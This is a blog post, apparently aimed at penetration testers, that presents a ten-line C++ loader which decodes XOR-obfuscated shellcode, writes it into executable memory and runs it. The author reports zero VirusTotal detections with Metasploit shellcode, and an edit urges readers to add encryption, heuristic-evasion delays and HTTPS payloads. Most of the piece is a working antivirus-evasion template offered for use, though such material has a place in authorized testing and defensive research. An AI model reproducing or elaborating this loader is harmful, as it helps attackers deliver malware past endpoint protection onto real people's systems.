Bypassing Static Antivirus With Ten Lines of Code
Overview
I had originally set out to write a long winded blog post on different antivirus bypass techniques. I went through what was supposed to be step 1 of my guide and uploaded my binary to virustotal… and the binary got a 0/56 detection rate.
I believe that most of my readers would agree that bypassing most antivirus based solutions is not that hard, however we don’t all have the same skillsets; some of us have been at this longer than others. I occasionally bump in to some folks who solely rely on tools that generate binaries for them. These can be easily fingerprinted and flagged by antivirus solutions if the tooling becoems popular enough. This article is mainly intended to help those that haven’t considered writing their own AV bypasses.
Existing Tooling
Before I dive in to the following tidbit of C++, I’d like to touch on a tool that is really good at producing binaries that almost always evade detection, Veil-Evasion (part of the Veil-Framework). This tool is awesome (many thanks to @harmj0y and others for creating and contributing to this awesome project) and in almost all instances I have had to use it has not let me down. If it has, I blame people who keep generating binaries and then testing them on virustotal. Please stop doing that.
At any rate, if tools like Veil Evasion are so epic, why should you care about knowing how to slap togother a binary with a shellcode payload yourself? Well there are a number of reasons:
- People get busy and tools become deprecated
- The binaries generated by tools become fingerprintable; not the payload necessarily, but the compiled structure of the binary.
- As a penetration tester, it is a good skill to learn how to write, at least, basic AV bypasses. Ups your leet cred.. or so I hear.
Simple Proof of Concept
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */};
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
}
The above code creates a character array with shell code you can add, performs an XOR operation with the incredibly sophisticated key of lowercase ‘x’, allocates some memory, copies the character array in said allocated memory, and executes it. It may be worth highlighting that you will need to XOR your shellcode with your key of choosing (in this case ‘x’) before you put it in the above code and compile.
So you are probably looking at that and thinking ‘really?’ – I know how you feel. I’d like to stress that this is an incredible simple and most basic technique, yet its success is still rather surprising.
I originally wrote this example and tested it on virus total a while ago, but I did reanalyze the executable on virustotal at the time of publishing this post and found it still had a 0 detection rate.
The binary you generate will very likely not match the SHA256 of the binary I have tested; the binary I uploaded contained shellcode generated with the metasploit framework.
Final Comments
Alright, so traditional antivirus is dead. That being said, we can’t argue that over 95% of organizations are still depending on antivirus to protect endpoints.
Is there a better way? certainly. A number of vendors have launched products that take a new approach to protecting endpoints primarily focusing on identification of known exploit techniques by way of DLL injection, allowing for monitoring of known techniques and execution prevention.
Is this fool proof technique? No. The bar will be raised, but a new type of cat and mouse game will begin.
Edit (3/17/2016): Wow. This post blew up a lot more than I intended it to. Please bear in mind that this article was targeted at penetration testers. The goal was to demonstrate an extremely simplistic static AV bypass technique. I didn’t point out ‘signature’ as I assumed it was obvious that heuristics capabilities would very likely pick this up – although it really depends on your payload more than anything else. I don’t advocate using this technique over infinitely more sophisticated implementations that can be found in Veil-Framework or Shellter. Think of the above code as a template – get creative – make the encoding routing more complicated – maybe implement encryption with key bruteforcing? then maybe add some prime number generation at the get go to throw off heuristics if you want to be fancy. Use payloads that communicate over HTTPS as well. Sky’s the limit right?.